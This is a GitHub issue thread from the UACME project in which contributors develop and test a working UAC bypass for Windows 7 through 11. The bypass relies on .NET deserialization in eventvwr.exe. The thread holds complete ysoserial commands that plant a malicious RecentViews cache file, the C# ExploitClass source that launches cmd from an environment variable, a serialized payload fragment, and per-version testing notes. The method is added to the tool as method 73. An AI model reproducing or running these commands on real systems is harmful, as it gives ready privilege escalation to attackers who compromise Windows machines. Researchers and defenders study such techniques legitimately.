hfiref0x / UACME

Defeating Windows User Account Control
BSD 2-Clause "Simplified" License
6.3k stars 1.31k forks source link

Add new UAC bypass through .Net Deserialization vulnerability in eventvwr.exe #127

Closed antonioCoco closed 2 years ago

antonioCoco commented 2 years ago

Based on the discovery by @orange_8361 the eventvwr.exe is vulnerable to a .net deserialization allowing to run a process in the eventvwr.exe context so in High IL. More details here --> https://twitter.com/orange_8361/status/1518970259868626944

Step to reproduce, from a medium IL admin:

ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c cmd.exe > %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews eventvwr.exe

A high IL cmd shell will pop.

ysoserial.exe is took from this repo --> https://github.com/pwntester/ysoserial.net

However I think the generated serialized object by ysoserial.exe can be built only one time with a more generic command, let's say cmd /c C:\tmp\temp.bat, and then can be embedded and dropped at will.

hfiref0x commented 2 years ago

Hello,

thanks for sharing. I'll test this and let you know the results.

hfiref0x commented 2 years ago

It seems it works.

Currently I've generated template using ysoserial which is running batch file by invoking it through specially set environment variable, e.g %mydir%\run.cmd.

I'll include it in the next uacme version when it will be ready. Also it still neeed to figure out does this method work on Windows 7/8.1 or it is only for Win10/11.

antonioCoco commented 2 years ago

Cool :sunglasses:

I made some further testing, below the results:

Windows 11: Works Windows 10 1909: Works Win 7 Pro Sp1 Build 7601 x64: Works (with some twists)

Don't have a Win 8.1 ready right now, so cannot test there.

For Windows 7 we need to generate the payload from ysoserial compiled with the .net 2 framework. It can be found in the branch v2 of the repo --> https://github.com/pwntester/ysoserial.net/tree/v2

And then also the gadget should be changed with the "ActivitySurrogateSelector" gadget, e.g. with the following commandline:

ysoserial_frmv2.exe -o raw -f BinaryFormatter -g ActivitySurrogateSelector -c "not_needed" > %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews

Unfortunately, this gadget does not accept the -c parameter for an arbitrary process execution. However by changing this line of code: https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/ExploitClass.cs#L15 with the following code we can achieve the same result:

System.Diagnostics.Process.Start("cmd.exe");

I have already done all the boring part of compiling the ysoserial .net 2 version, so if you send me the exact environment variable and command to use i can generate the payload and attach it here. Hopefully should speed up things :)

hfiref0x commented 2 years ago

Nice.

It is working on Win8.1 fine. I guess it's because eventviewer stuff here starts using dotnet above v2 and does this up to win11.

The exact command used to generate "recentviews" ysoserial -o raw -f BinaryFormatter -g DataSet -c %pe386% > r.bin

where %pe386% is an environment variable containing file to execute, e.g. c:\windows\system32\cmd.exe

the resulting RecentViews cache file part looks like this:

<sd:ProcessStartInfo Arguments="/c %pe386%" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />

It would be great if you can generate payload for dotnet v2 with this var and attach resulting file here so I will embed it into uacme.

antonioCoco commented 2 years ago

Sure, please find attached.

This has been compiled with the following payload code:

System.Diagnostics.Process.Start("cmd", "/c " + Environment.GetEnvironmentVariable("pe386"));

This emulates the exact behavior like the one described in the cache file you extracted.

I tested on my win7 box by adding a regkey in HKCU\Environment\pe386 and works smoothly.

RecentViews.zip

hfiref0x commented 2 years ago

Well there is a problem. Generated file has embedded 3rd party compiled PE binary. I assume this is ysoserial_frmv2.exe itself. Is there any chance to get rid of this or this is required for v2 dotnet? I don't really want to include any kind of compiled executable binaries as blobs, especially when they are 3rd party.

antonioCoco commented 2 years ago

Yes, a .NET assembly is needed for the chain of this gadget to work. From the comment of "ActivitySurrogateSelectorGenerator.cs" i see:

// Build a chain to map a byte array to creating an instance of a class.
// byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win!

So we can't change the chain behavior. Or at least i don't know how to create a better chain that doesn't use Assembly.Load().

One improvement i could do is to compile the "ExploitClass.cs" as a separate assembly instead of embedding the whole ysoserial_frmv2.exe assembly. This should reduce the size, but still an embedded assembly will be needed.

hfiref0x commented 2 years ago

From what I see in source ExploitClass.cs is an empty placeholder file. So basically since this generator loads assembly can we create standalone assembly outside of yososerial and give it as source (parameter?) of what it embed instead? Simple launcher program in dotnet will be smaller size and we will be able to include it source.

antonioCoco commented 2 years ago

We can do one smarter thing to drastically decrease the size.

We can embed the "ExploitClass.cs" source code and compile on the fly the assembly with CodeDomProvider.CompileAssemblyFromSource().

Do you like the idea? If yes, i can make some tests and try if it works out.

antonioCoco commented 2 years ago

Actually ignore my last idea, it's not viable. We must embed the assembly bytes in the serialized object...

I'm gonna try doing it with a smaller assembly, so compiling ExploitClass.cs as a standalone assembly. Let's see if the size is acceptable.

antonioCoco commented 2 years ago

Ok, we gained some space, this "RecentViews" cache file is 8kb, compared to the previous one of 64kb.

Don't think we can do any better. Please find attached.

RecentViews.zip

hfiref0x commented 2 years ago

Can you provide it source please, so I can link it in readme or whatever if someone wants to modify it later.

antonioCoco commented 2 years ago

Sure.

// ExploitClass.cs
using System;

class ExploitClass
{
    public ExploitClass()
    {
        System.Diagnostics.Process.Start("cmd", "/c " + Environment.GetEnvironmentVariable("pe386"));
    }
}

ysoserial command to generate the cache file:

ysoserial_frmv2.exe -o raw -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c .\ExploitClass.cs;System.dll > RecentViews

ysoserial_frmv2 repo url --> https://github.com/pwntester/ysoserial.net/tree/v2

hfiref0x commented 2 years ago

I've added it into master as method 73.